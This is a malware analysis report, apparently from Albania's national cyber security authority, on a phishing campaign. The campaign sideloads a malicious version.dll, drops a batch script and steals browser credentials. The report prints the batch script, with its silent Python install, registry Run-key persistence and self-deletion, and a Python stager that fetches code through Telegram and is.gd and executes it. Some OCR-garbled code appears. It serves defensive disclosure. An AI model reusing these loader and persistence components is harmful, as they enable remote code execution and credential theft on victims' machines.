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This report has limitations and should be interpreted with caution!
Some of these restrictions include:

First phase:
Sources of information: The report is based on information available at the time of its preparation.
However, some aspects may differ from actual developments.

Second phase:
Analysis details: Due to resource limitations, some aspects of the malicious file may not have been
analyzed in depth. Any additional unknown information may reflect changes in the report.

Third phase:

Information Security: To protect sources and confidential information, some details may be
redacted or not included in the report. This decision was made to maintain the integrity and security
of the data used.

AKSK reserves the right to change, update, or amend any part of this report without prior
notice.

This report is not a final document.

The findings of the report are based on the information available at the time of the investigation
and analysis. There is no guarantee regarding possible changes or updates to the information
reported during the subsequent period. The authors of the report do not assume responsibility for
the misuse or consequences of any decision-making based on this report.
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Technical Information

A Phishing campaign has been identified in the infrastructures of the Republic of Albania, where
the malicious file: Njoftim_pér_shkelje té té drejtave té pronésisé intelektuale AL.exe

IS being distributed.

This file aims to steal web browser information on victims' computers, as well as execute
unauthorized remote commands.

Static file analysis

The file Njoftim_pér_shkelje té té drejtave té pronésisé intelektuale AL.exe is an
executable file. If we click on the file within the directory specified by the malicious actor, it will
continue to execute a dll file named version.dll which is again located in this directory. If we try
to open the file outside of this directory, it will be detected that the legitimate Haihaisoft PDF
Reader program is being opened, which is used to access PDF files.

Njoftim_pé&r_shkelje_t&_té_drejtave_té_pronésisé_intelektuale_AL (T) v | O M
" Name Date modified Type Size
_ 5/13/2025 8:11 AM File folder
m; Njoftim_pér_shkelje_té_té _drejtave_té_pr.. 5/5/2024 521 AM Application 6,217 KB
veruntime 140.d11 9/10/2024 11:20 AM Application extens... 90 KB
version.dl| 11/19/2023 10:21 AM Application extens... 112,805 KB

Figure 1 Path where the exe file executes version.dll

= Haihaisoft PDF Reader
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Figure 2 Haihaisoft PDF Reader

During code analysis, it is identified that the. exe file contains a. dll named version version.dll
which has the same name as the file located in the same directory. The difference is that the. dll
contained in the file itself is legitimate.
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The process that occurs works like this:

When the main file starts executing, it tries to search for the file named version.dll. in order to
perform its functionality, but in the current case we are dealing with DLL Search Order
Hijacking or proxy DLL sideloading. The malicious actor created this malicious dll with the
intention of changing the execution flow of the main file, executing the functions of the version.dll
that he created himself and not of the legitimate file itself.

File name

C:\Users\flare\Desktop\Njoftim_pér_shkelje_té_té_drejtave_t&_pronésisé_intelektuale_AL (1}\version.dll

File type File size

PE32 110.16 MiB

Scan Endianness Architecture

Automatic 13 1386
¥ PE32

Linker: Microsoft Linker(14.41%*)[DLL32]
Overlay: Binary

Figure 3 DLL32 Version.dll

The first function that starts execution is the Main or Entry function, which immediately starts
execution of the function dllmain_dispatch(HINSTANCE_ *param_1,ulong param_2, void
*param_)

This function has several instructions that are not important for the analysis, but the important one
is the function call: FUN_10001aa0 which contains 2 parameters.
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undsfined4 FUN_1000laal (undefined4 param 1,int param 2)

{

code *pcVarl;
undefinedd4d uVar2;
if (param 2 != 1) {

return 1;

}
FUN 10001850();

pcVarl = (code *)swi(3);
uVar2 = (*pcVarl) ();
return uVarZ;

Figure 4 FUN_10001aa0

pcVarl = (code *) swi(3);

swi(3) is a software interrupt, often used for the purpose of:
e Capture control with a SEH (Structured Exception Handler).
« Trick the debugger into thinking it is a breakpoint.

Before this line of code, we note the calling of the function FUN_10001850

FUN_10001850 is a function (loader) that:
e Manipulates data using complex mathematical operations
e Loadsa.DLL file.
o Reveals function addresses from the loaded .DLL
o Calls additional functions
e The function starts by taking the path of the Windows system directory (usually
C:\Windows\System32).
e This is often used to construct a full path to the DLL to be loaded.
e Then there is a long section with complex mathematical operations, which seems to:
o They obfuscate or decrypt data.
e These include:
o SIMD operations such as pmuldg and pmulld (multiplications on 128-bit registers)
o Bit manipulation with XOR operations
o Loop that XORs byte by byte with a calculated value
The use of complex mathematical operations, dynamic loading of DLLs, and dynamic function
address resolution are typical tactics used by malware to evade detection and analysis. This code
is most likely part of a malware's initial loader or the first stage of its payload.
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[ oo oo~ esons Sam 0D
3z
33 | :3&:5'_-;5:em[:irec:-:-r'_ﬂsl{l: cal 116,0x104);
34 puVarl0d = (uint *)FUN_10001a20(&local_13);
35 auVarl3 = _DAT 100031£0;
36| 1f (*(char *)((int)puvarlld + Ox=) != "\0") {
37 ivarll = 0;
38 if (1 < DET_1002a0de) {
39 iVarll = 8;
40 auvarlS. 0_8_ = SUBLES( DAT 10003150,0);
41 auVarl5. B_4_ = SUBl64(_DAT_
42 auVarl5. 12 4 = SUBlé64(_DAT 100031%90,4);
43 auVarld4. B8 8 = auvarl5. 8 8 ;
44 auVarl4. 0 4 = SUBl64( DAT 10003150,0);
45 auvVarl4. 4 4 = auvVarl4._0_4_;
46 auVarl2. 4_4_ = SUBl64(_DaT_10003150,8);
47 auvarlz2. 0_4_ = SUBl64(_DAT_ ;
48 auvarlz2. 8_4_ = SUBl64(_DAT_ )xc);
45 auVarlZ. 12 4 = SUBlée4(_DAT Oxc)
50 auVarl2 =.:'.'ar_2,_I'_'— H
51 auvVarlé :a_:-.-ar;:_,_r-;j_:: 0031£0) ;
52 auVarl9. 0_4 = (auVarlé. 4 4 >> 4) - (auVarlé. 4 4 >> 0xlf);
53 auvVarl9. 4 4 = (auVarlé. 12 4 >> 4) - (auVarlé. 12 4 >> Oxlf);
54 auVarlS. B8 4 = (auVarl2. 4 4 >> 4) - (auVarl2. 4 4 >> 0xlf);
33 auvarl9._ 12 4 = (auVarl2._12 4 >> 4) - (auVarlZ._ 12 4 >»> 0xlf);

Figure 5Function FUN_10001850

Another malicious function is the function FUN_10001240().
Multi-stage dropper
Phase 1 — Initial Configuration & First Decryption
o First get the current directory with GetCurrentDirectoryW.
e hidden/encrypted data.
o That data is decrypted with a custom XOR algorithm, where the XOR key depends on the
position of the bytes in memory.
Phase 2 — Generating the first file
e With FUN_100011c0, the decrypted data is written to disk as a first file (a DLL or other
loader).
e ltthen calls FUN_100017d0 to get another encrypted part.
o This part is decrypted using complex mathematical operations, such as:
o pmuldg, pmulld — SIMD multiplications
o pshufhw, pshuflw — reorganization of data in registers
These techniques are often used to make static analysis of malware more difficult.
Phase 3 — File movement
e The new decrypted data is stored in a different path (aWStack 828).
e With FUN_10001800 the rest of the hidden data is obtained.
e They are decrypted in the same way as before.
e Theresult is stored in aWStack_620.
e MoveFileW is used to move or replace the first file with the new file — a classic DLL
sideloading technique (loading a malicious DLL instead of a legitimate DLL) .
Phase 4 — Execution of the final payload
o Calls FUN_10001820 to get the final hidden payload.
o It performs the same decryption logic (XOR + SIMD operations).

Address: “Papa Gjon Pali II” Street no. 3, Tirana;
Website: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax: 04 2221 039



http://www.aksk.gov.al/
mailto:info@aksk.gov.al

TLP: CLEAR

e Theresult is stored in aWStack_210.
e With CreateProcessW it executes the final payload, which is malware.

Given the complexity of this file, to see what happens in the final stage, we need to do the following
dynamic analysis.

Dynamic file analysis

. 7zG.exe (PID: 5344 cmdline: "C:\Program Files\7-Zip\7zG.exe" x -0"C:\Users\user\Desktop\New folder\" -spe -an -ai#7zMap3496:76:7zEvent9178 MD5:
50F289DF0C19484E970849AAC4EGF977)

. D rundll32.exe (PID: 5164 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll, SHCreateLocalServerRunDIl {92a46009-3ce0-458a-a354-715610a075e6}
-Embedding MD5: EF3179D498793BF4234F708D3BE28633)

7zG.exe (PID: 1580 cmdline: "C:\Program Files\7-Zip\7zG.exe" x -0"C:\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t _pron sis _intelektuale_AL (1)\" -spe -
an -ai#7zMap11732:212:7zEvent25568 MD5: 50F289DF0C19484E970849AAC4E6FI77)

. u:; Njoftim_p r_shkelje_t _t _drejtave_t _pron sis _intelektuale_AL.exe (PID: 3876 cmdline: "C:\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t pron sis _intelekt

uale AL (1)\Njoftim_p r_shkelje_t t_drejtave t_pron sis _intelektuale AL.exe" MD5: 4864A55CFF27F686023456A22371E790)
. i cmd.exe (PID: 5920 cmdline: emd /c "C:\Users\user\Desktop\New folder\Njoftim_pr_shkelje_t _t drejtave_t pron sis _intelektuale AL (1)\_\Evidence.cmd" MD5:

DOFCE3AFABAATD58CESFA336CC2B675B)

. ﬁ conhost.exe (PID: 3772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 86191D9E0E30631DB3E78E4645804358)

. =r| explorer.exe (PID: 5572 cmdline: explorer "Document.pdf" MD5: 208F2F43CEC7B386ED34CFAE47FB166E)

PID: 5556 cmdline: Document.pdf /quiet TargetDir="C:\Users\user\AppData\Local\Programs\Python\Python310-32" InstallAllUsers=0 Include_doc=0
Include_dev=0 Include_tcltk=0 Include_test=0 Include_launcher=0 Include_lib=1 Include_pip=1 Include_symbols=0 Shortcuts=0 AssociateFiles=0 CompileAll=0 MD5:
83A67E1C4F6F14?2EF75DD9681491 BF1)

« Lgs Document.pdf (PID: 1276 cmdline: "C:\Users\user\AppData\Local\Temp\{ECCAF992-9E6D-4B22-B14E-9C40BFIC7BD8)\.cr\Document.pdf” -burn.clean.room="C
A\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t _pron sis _intelektuale_AL (1)\_‘\Document.pdf" -burn.filehandle.attached=692 -burn.filehand
le.self=652 /quiet TargetDir="C:\Users\user\AppData\Local\Programs\Python\Python310-32" InstallAllUsers=0 Include_doc=0 Include_dev=0 Include_tcltk=0 Include_te

=0 Include launcher=0 Include_lib=1 Include_pip=1 Include_symbols=0 Shortcuts=0 AssociateFiles=0 CompileAll=0 MD5: 2B4FFFF77718AF2780154EDS8FAEODAEB)

PID: 2892 emdline: C:\Users\user\AppData\Local\Programs\Python\Python310-32\pythonw.exe -m pip install pefile pycryptodome requests websocket-
client pywin32 pyasn1 MD5: 8ADBC16026FF6C01453D5FA392C14CB4)

. . cmd.exe (PID: 3012 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: DOFCE3AFABAA1D58CESFA336CC2B675B)

. E conhost.exe (PID: 5300 cmdline: C:\Windows\system32\conhost.exe 0xfffiffff -ForceV1 MD5: 86191D9E0E30631DB3E78E4645804358)
; explorer.exe (PID: 832 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: 28F9983075D4D5B0C7F52F11EDF61BBB)
. Acrobat.exe (PID: 2256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t _pron sis
_intelektuale_AL (1)\ \Document.pdf" MD5: 0CAF383CD3CC17E05AC018488BIE6690)

. EE AcroCEF.exe (PID: 1904 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_2\AcroCEF .exe" --backgroundcolor=16777215 MD5:

B8A7CF1DBC405A83014D561A189FA920B)

.

Figure 6 Processes and subprocesses launched by execution

A file named Evidence.docx is recorded which is a .bat file.
This is a Windows Batch script (language: .bat or .cmd)
Opens a PDF to distract the user,
o Installed Python secretly,
« Installed python libraries for communication and encryption,
e It was executing a script disguised as a PNG image, but it was actually malicious Python
code.

[ Evidence.docx ul
i @echo off
2 cd /d "%~dp0"

3 explorer "Document.pdf"

4 Document.pdf /quiet TargetDir="%LOCALAPPDATA%\Programs\Python\Python310-32" InstallallUsers=0 Include_doc=0 Include dev=0 Include_tcltk=0 Include_test=0 In|
5 %LOCALAPPDATAZ\Programs\Python\Python310-32\pythonw.exe -m pip install pefile pycryptodome requests websocket-client pywin32 pyasnl

copy "images.png™ "$LOCALAPPDATA%\Programs\Python\Python310-32\Lib"

start "" /min "$LOCALAPPDATA%\Programs\Python\Python310-32\pythonw.exe" $LOCALAPPDATA%\Programs\Python\Python310-32\Lib\images.png "MEXX6LOHNBOL"

8 reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update Service™ /t REG_SZ /d "cmd /c start 3LOCALAPPDATA%\Programs\Python\Python3l
] (goto) 2>nul & del "%~f0" & taskkill /f /im cmd.exe
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Processes launched by file execution, evidence the launch of a process, in another process that is
initialized by the main explorer.exe process by starting Document.pdf, where it is used to execute
a command that secretly installs Python on the computer, through a " burn.clean.room™ technique
often used to mask malicious intentions.
The PDF is accessed from a Temp folder, indicating that it was loaded or created temporarily,
usually by an application (often malware).

This file is located in the folder named “_* which is of type hidden along with a file named
images.png which is not itself a picture but a part of python code:

[import requests, re, time, sys

while True:
try:

match = re.search(r'<meta property="og:description” content="([*"]+)"', requests.get(f"https://t.me/|{sys.argv[1]}").text)
if match:
exec (requests.get (requests.head (f'https://is.gd/{match.group(l)}', allow redirects=True).url).text)

break
except Exception as e:
print(e)
time.sleep(5)
continue

Figure 7 images.png

This code gets the HTML of the Telegram channel page with the name given as a parameter:
(sys.argv[1], e)

Requires og:description , which is the page description in metadata (typically used by
Facebook/Telegram for presentation).
If there is a match:

« Make a HEAD request to https://is.gd/<value> to get the real URL

o Get the content (GET) of that URL and directly execute the code contained there with

exec(...).

.zip file is created in the Temp folder. with the name [IP and name of the infected computer].
If we extract this file, it will be evident that information such as Cookies, username and
password stored in autofill have been taken from the chrome, edge etc. browser. In this file, in
its description, the telegram channel with the username LoneNone was also identified which
has the following in its bio:
hxxps[://]avscan].]is/scan/7583b658d5330288052da320edf3e7be

So according to the python code, it takes the command from this url and executes it via the exec
function.

This domain is currently not functional as it would give us more information about what python
file is executed on the infected computer.
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Figure 8 Url containing the payload
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hxxps[://]lavscan[.]is/scan/7583b658d5330288052da320edf3e7be URIs

2524E2BA1BB3E04008859D2E2EB50FB6BCB6E03D4502DC0A5019F1379E1EBALT | Evidence.docx

RECOMMENDATIONS

The National Cyber Security Authority recommends:

Immediate blocking of the Indicators of Compromise, mentioned above, on your protective
devices.

Continuous analysis of logs coming from SIEM (Security Information and Event
Management).

Training non-technical staff about "Phishing™ attacks and ways to avoid infection from them.
Installing network perimeter devices that perform deep traffic analysis based not only on access
list rules but also on its behavior (NextGen Firewalls).

The identified systems should be segmented into different VLANS, applying "Access control
lists for the entire network perimeter", web services should be separated from their databases,
Active Directory should be in a separate VLAN.

Application and use of the LAPS technique for Microsoft systems, for managing Local
Administrator passwords.

Apply traffic filters in the case of remote access to hosts (employees/third parties/customers).
Implement solutions that filter, monitor, and block malicious traffic between Web applications
and the internet, Web Application Firewall (WAF).

Conduct traffic analysis at the behavior level for end devices, applying EDR, XDR solutions.
This brings the analysis of malicious files not only at the signature level but also at the behavior
level.

Design a user access management solution "ldentity Access Management™ to control user
identity and privileges in real time according to the "zero-trust" principle.
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